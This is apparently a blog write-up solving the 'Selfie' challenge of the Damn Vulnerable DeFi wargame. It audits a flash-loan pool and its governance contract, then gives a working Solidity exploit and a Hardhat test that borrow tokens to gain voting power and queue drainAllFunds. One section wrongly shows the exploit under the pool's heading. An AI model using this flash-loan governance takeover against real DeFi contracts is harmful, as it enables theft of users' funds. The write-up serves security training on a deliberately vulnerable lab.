Damn Vulnerable DeFi Wargame Challenge6 — Selfie Contract Analysis ⚔️
Wargame Provider: @tinchoabbate
Challenge #6 — Selfie
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
Code Audit
SelfiePool.sol
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
contract SelfieExploit {
SimpleGovernance public governance;
SelfiePool public pool;
uint256 public actionId;
constructor(address gvContract, address poolContract) public {
governance = SimpleGovernance(gvContract);
pool = SelfiePool(poolContract); }
function receiveTokens(DamnValuableTokenSnapshot token, uint256 amount) public returns(uint256){
token.snapshot();
token.transfer(msg.sender, amount);
actionId = governance.queueAction(
address(pool),
abi.encodeWithSignature(
"drainAllFunds(address)",
tx.origin
),
0
);
return actionId;
}
function _exploit(uint256 amount) public {
pool.flashLoan(amount);
}
}
Dependency
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";
- The @Openzeppelin external library contract is dependent on ReentrancyGuard, ERC20Snapshot, Address.
- Using the internal contract SimpleGovernance.
State Variables
ERC20Snapshot public token;
SimpleGovernance public governance;
- Variable for initial instance to use other contract. Allocate ERC20 snapshot token and SimpleGovernance contract distribution address values, respectively.
Fucntions
modifier onlyGovernance()
✅ Checks whether the value of the msg.sender address is the same as the “governance contract” address, and only if governance conditions are met, it can pass that modifier.
constructor(address tokenAddress, address governanceAddress)
- token, governance Set the address of each deployed contract to the contract assignment variable value.
function flashLoan(uint256 borrowAmount) external nonReentrant
✅ In order to pass the condition, the value received as the borrowAmount argument of this function must be equal to or less than the balance value of ERC20Snapshot tokend. (Basic logic for getting a loan)
- Based on the transfer function of the ERC20Snapshot token, the token is transferred to msg.sender as much as the borrowAmount value.
✅ msg.sender checks whether it is a deployed contract based on the isContract() function.
- Executes the msg.sender.functionCall command and calls receiveTokens(address, uint256) with the ABI function selector based on msg.sender.
✅ After making a loan, we check to see if the loan has been returned to the borrower.
☑️ Must pass onlyGovernance modifier.
- Based on the ERC20Snapshot token contract function transfer, the token is delivered as much as the amount value (balance of the token contract) to the receiver of this function parameter.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance {
using Address for address;
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
DamnValuableTokenSnapshot public governanceToken;
mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
Dependency
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
- Use the Address contract of the
@Openzeppelin
library contract. - Use the
DamnValuableTokenSnapshot
contract.
State Vairables
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
- It is used as a dependent structure in the Governance contract, and each member variable can be confirmed as data necessary for the logic configuration of the contract.
- Let’s take a brief look at each variable. Allocate address receiver contract address and user account address. Since the bytes data variable is assigned a value of the bytes type, it can contain specific data. The uint256 weAmount variable allocates the amount of tokens on a wei basis. The uint256 propsedAt variable is used to measure the time of the Goverence condition. The executedAt variable is used to record the function executeAction call. Each data structure is governed by Goverence Action logic.
mapping(uint256 => GovernanceAction) public actions
- This is a mapping structure to manage the GovernanceAction Struct explained above, and manages each structure with a key value named ActionID in the increment state.
uint256 private actionCounter
- It is a variable to measure the Coutner of the ActionID value when each Action structure is assigned to manage the action structures.
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
- It is used to measure whether the executeAction function can be called inside the function _canBeExecuted(uint256 actionId) function based on the time of 2 days.
Functions
constructor (address governanceTokenAddress)
✅ governanceTokenAddress The argument to this function must have a value other than address(0) to pass.
-
Assign the DamnValuableTokenSnapshot deployed contract address to the governanceToken state variable.
-
actionCounter Initializes the value of the management variable.
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns(uint256)
✅ _hasEnoughVotes(msg.sender)
function call return condition must be True to pass.
📥 function _hasEnoughVotes(address account) private view returns (bool)
- Measures whether this user has the right to vote in Governance. In order to be eligible to vote, the holding
balance
value must be greater than thegovernanceToken.TotalSupply / 2
value. Return data will return True/False depending on whether voting is possible or not.
📤 queueAction
✅ queueAction
Among the arguments of the function, the address value of the receiver
must not be the same as the address of the current contract.
- Among
GovernanceAction
Structs, data is fetched and assigned from the mapping structure based on the current actionId key value. (Stored in the transaction.) - Set values to member variables of
GovernanceAction
structure retrieved withactionId
.GovernanceAction storage actionToQueue = actions[actionId]; actionToQueue.receiver = receiver;actionToQueue.weiAmount = weiAmount;actionToQueue.data = data;actionToQueue.proposedAt = block.timestamp; - Increases the actionCounter state variable. (for measurement)
- Returns the set actionId value.
function executeAction(uint256 actionId) external payable
✅ _canBeExecuted(actionId)
Pass the condition based on the return value.
📥 function _canBeExecuted(uint256 actionId) private view returns (bool)
-
Among the
GovernanceAction
structures, the data mapped to theactionId
value is temporarily allocated to the memory state. -
The value of the
.executedAt
variable must be zero. It must have never actually been executed, andproposedAt
must have been2 days
from the current time.
📤 executeAction
-
.
executeAt
assign a variable value based on the current time. -
.receiver
invokes thefunctionCallWithvalue
command based on the address of the
variable. Required ABI function selectors and parameters are called using member variables defined in the structure.
Vulnerability
The flashLoan contract allows users to use the flashLoan service. The actual access itself can be used by anyone, and it is possible to borrow as much as the balance value of the tokenPool contract.
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
An attack vector exists that can call the receiveTokens
function, which is not implemented in the flashLoan structure. If the attacker calls the flashLoan function and executes this fucntionCall
, and implements the receiveTokens
function intentionally, the actual handling becomes possible, so unintended logic desired by the attacker may be executed.
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
In the case of the drainAllFunds
function, if the onlyGovernance
modifier can be passed, there is a possibility that the balance can be stolen using the transfer
function of the tokenPool implemented inside.
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
When the executeAction
function implemented inside the simpleGovernance
contract is called, the functionCallWithValue
command can be executed with the receiver
address based on the values of each action structure configured in this contract, so that the available functions of other contracts can be called from this Governance contract address. It can be used as an attack vector.
Solve
In order to steal the tokenPool’s assets, the attacker uses a combination of the previous vulnerabilities to attack. First, the attacker calls the flashLoan function of the flashLoan contract to loan the entire balance to the token pool. Implement a function to handle when the receiveTokens
function call is executed in the process of acquiring sufficient balance. Because you have a sufficient balance, you meet the conditions to be eligible for governance voting rights. (It should be greater than half of the total balance.) During the flashLoan process, you must ensure that you do not panic and obtain the right to vote for governance.
To call the executeAction
function in the governance process, adjust the transaction to pass 2 days and call the drainAllFunds
function. If this happens, since it is a contract with actual governance voting rights, function calls are possible and the balance can be stolen.
Exploit Contract
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
contract SelfieExploit {
SimpleGovernance public governance;
SelfiePool public pool;
uint256 public actionId;
constructor(address gvContract, address poolContract) public {
governance = SimpleGovernance(gvContract);
pool = SelfiePool(poolContract); }
function receiveTokens(DamnValuableTokenSnapshot token, uint256 amount) public returns(uint256){
token.snapshot();
token.transfer(msg.sender, amount);
actionId = governance.queueAction(
address(pool),
abi.encodeWithSignature(
"drainAllFunds(address)",
tx.origin
),
0
);
return actionId;
}
function _exploit(uint256 amount) public {
pool.flashLoan(amount);
}
}
Exploit Contract Call
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Selfie', function () {
let deployer, attacker;
const TOKEN_INITIAL_SUPPLY = ethers.utils.parseEther('2000000'); // 2 million tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1500000'); // 1.5 million tokens
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();
const DamnValuableTokenSnapshotFactory = await ethers.getContractFactory('DamnValuableTokenSnapshot', deployer);
const SimpleGovernanceFactory = await ethers.getContractFactory('SimpleGovernance', deployer);
const SelfiePoolFactory = await ethers.getContractFactory('SelfiePool', deployer);
this.token = await DamnValuableTokenSnapshotFactory.deploy(TOKEN_INITIAL_SUPPLY);
this.governance = await SimpleGovernanceFactory.deploy(this.token.address);
this.pool = await SelfiePoolFactory.deploy(
this.token.address,
this.governance.address
);
await this.token.transfer(this.pool.address, TOKENS_IN_POOL);
expect(
await this.token.balanceOf(this.pool.address)
).to.be.equal(TOKENS_IN_POOL);
});
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const SelfieExploitFactory = await ethers.getContractFactory('SelfieExploit', attacker);
this.selfieExploit = await SelfieExploitFactory.deploy(
this.governance.address,
this.pool.address);
console.log(this.selfieExploit.address);
await this.selfieExploit.connect(attacker)._exploit(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days
// console.log( await this.selfieExploit.actionId());
await this.governance.connect(attacker).executeAction(
await this.selfieExploit.actionId(), { value: 0 }
);
});
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(
await this.token.balanceOf(attacker.address)
).to.be.equal(TOKENS_IN_POOL);
expect(
await this.token.balanceOf(this.pool.address)
).to.be.equal('0');
});
});
next time.. 🚀
I will continue to post auditing and research on 12 challenge defi Smart Contracts.
Thank you for the @tinchoabbate that made a good wargame. Damn Vunlerable Defi